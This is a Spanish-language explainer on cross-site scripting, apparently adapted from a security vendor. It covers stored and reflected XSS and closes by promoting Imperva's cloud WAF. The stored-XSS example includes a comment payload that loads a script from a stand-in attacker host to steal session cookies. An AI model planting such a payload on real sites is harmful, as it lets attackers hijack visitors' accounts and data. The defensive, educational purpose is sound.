Ataques de Cross Site Scripting (XSS)
Qué es Cross Site Scripting (XSS)
El Cross Site Scripting (XSS) es un vector de ataque común que inyecta código malicioso en una aplicación web vulnerable. El XSS se diferencia de otros vectores de ataque web (por ejemplo, las inyecciones SQL), en que no se dirige directamente a la aplicación en sí. En su lugar, los usuarios de la aplicación web son los que están en riesgo.
Un ataque de cross site scripting exitoso puede tener consecuencias devastadoras para la reputación de un negocio online y su relación con sus clientes.
Dependiendo de la gravedad del ataque, las cuentas de usuario pueden verse comprometidas, los programas de troyanos activados y el contenido de la página modificado, engañando a los usuarios para que entreguen voluntariamente sus datos privados. Por último, las cookies de sesión pueden ser reveladas, lo que permite al agresor hacerse pasar por usuarios válidos y abusar de sus cuentas privadas.
Los ataques de secuencias de comandos en sitios web pueden dividirse en dos tipos: almacenados y reflejados.
El XSS almacenado, también conocido como XSS persistente, es el más dañino de los dos. Se produce cuando se inyecta un script malicioso directamente en una aplicación web vulnerable.
El XSS reflejado implica el reflejo de un script malicioso fuera de una aplicación web, en el navegador de un usuario. El script está incrustado en un enlace, y sólo se activa una vez que se hace clic en ese enlace.
Qué es el cross site scripting almacenado
Para ejecutar con éxito un ataque XSS almacenado, un perpetrador tiene que localizar una vulnerabilidad en una aplicación web y luego inyectar el script malicioso en su servidor (por ejemplo, a través de un campo de comentarios).
Uno de los objetivos más frecuentes son los sitios web que permiten a los usuarios compartir contenidos, incluyendo blogs, redes sociales, plataformas para compartir vídeos y tablones de anuncios. Cada vez que se visualiza la página infectada, el script malicioso se transmite al navegador de la víctima.
Ejemplo de ataque XSS almacenado
Mientras navega por un sitio web de comercio electrónico, un perpetrador descubre una vulnerabilidad que permite incrustar etiquetas HTML en la sección de comentarios del sitio. Las etiquetas incrustadas se convierten en una característica permanente de la página, haciendo que el navegador las analice con el resto del código fuente cada vez que se abre la página.
El atacante añade el siguiente comentario: ¡Gran precio para un gran artículo! Lee mi reseña aquí <script src=»http://hackersite.com/authstealer.js”></script>.
A partir de este momento, cada vez que se acceda a la página, la etiqueta HTML del comentario activará un archivo JavaScript, que está alojado en otro sitio, y tiene la capacidad de robar las cookies de sesión de los visitantes.
Utilizando la cookie de sesión, el atacante puede comprometer la cuenta del visitante, permitiéndole acceder fácilmente a su información personal y a los datos de su tarjeta de crédito. Mientras tanto, el visitante, que puede que ni siquiera se haya desplazado hasta la sección de comentarios, no es consciente de que el ataque ha tenido lugar.
A diferencia de un ataque reflejado, en el que el script se activa después de hacer clic en un enlace, un ataque almacenado sólo requiere que la víctima visite la página web comprometida. Esto aumenta el alcance del ataque, poniendo en peligro a todos los visitantes sin importar su nivel de vigilancia.
Desde el punto de vista del perpetrador, los ataques XSS persistentes son relativamente más difíciles de ejecutar debido a las dificultades para localizar tanto un sitio web con tráfico como uno con vulnerabilidades que permitan la incrustación permanente del script.
Prevención/mitigación de ataques XSS
Un firewall de aplicaciones web (WAF) es la solución más utilizada para la protección contra ataques XSS y de aplicaciones web.
Los WAF emplean diferentes métodos para contrarrestar los vectores de ataque. En el caso del XSS, la mayoría se basan en el filtrado basado en firmas para identificar y bloquear las solicitudes maliciosas.
De acuerdo con las mejores prácticas de la industria, el firewall de aplicaciones web en la nube de Imperva también emplea el filtrado de firmas para contrarrestar los ataques de secuencias de comandos en sitios cruzados.
El WAF en la nube de Imperva se ofrece como un servicio gestionado, mantenido regularmente por un equipo de expertos en seguridad que actualizan constantemente el conjunto de reglas de seguridad con firmas de vectores de ataque recién descubiertos.
La tecnología de crowdsourcing de Imperva recopila y agrega automáticamente los datos de ataques de toda su red, en beneficio de todos los clientes.
El enfoque de crowdsourcing permite una respuesta extremadamente rápida a las amenazas de día cero, protegiendo a toda la comunidad de usuarios contra cualquier nueva amenaza, tan pronto como se identifica un solo intento de ataque.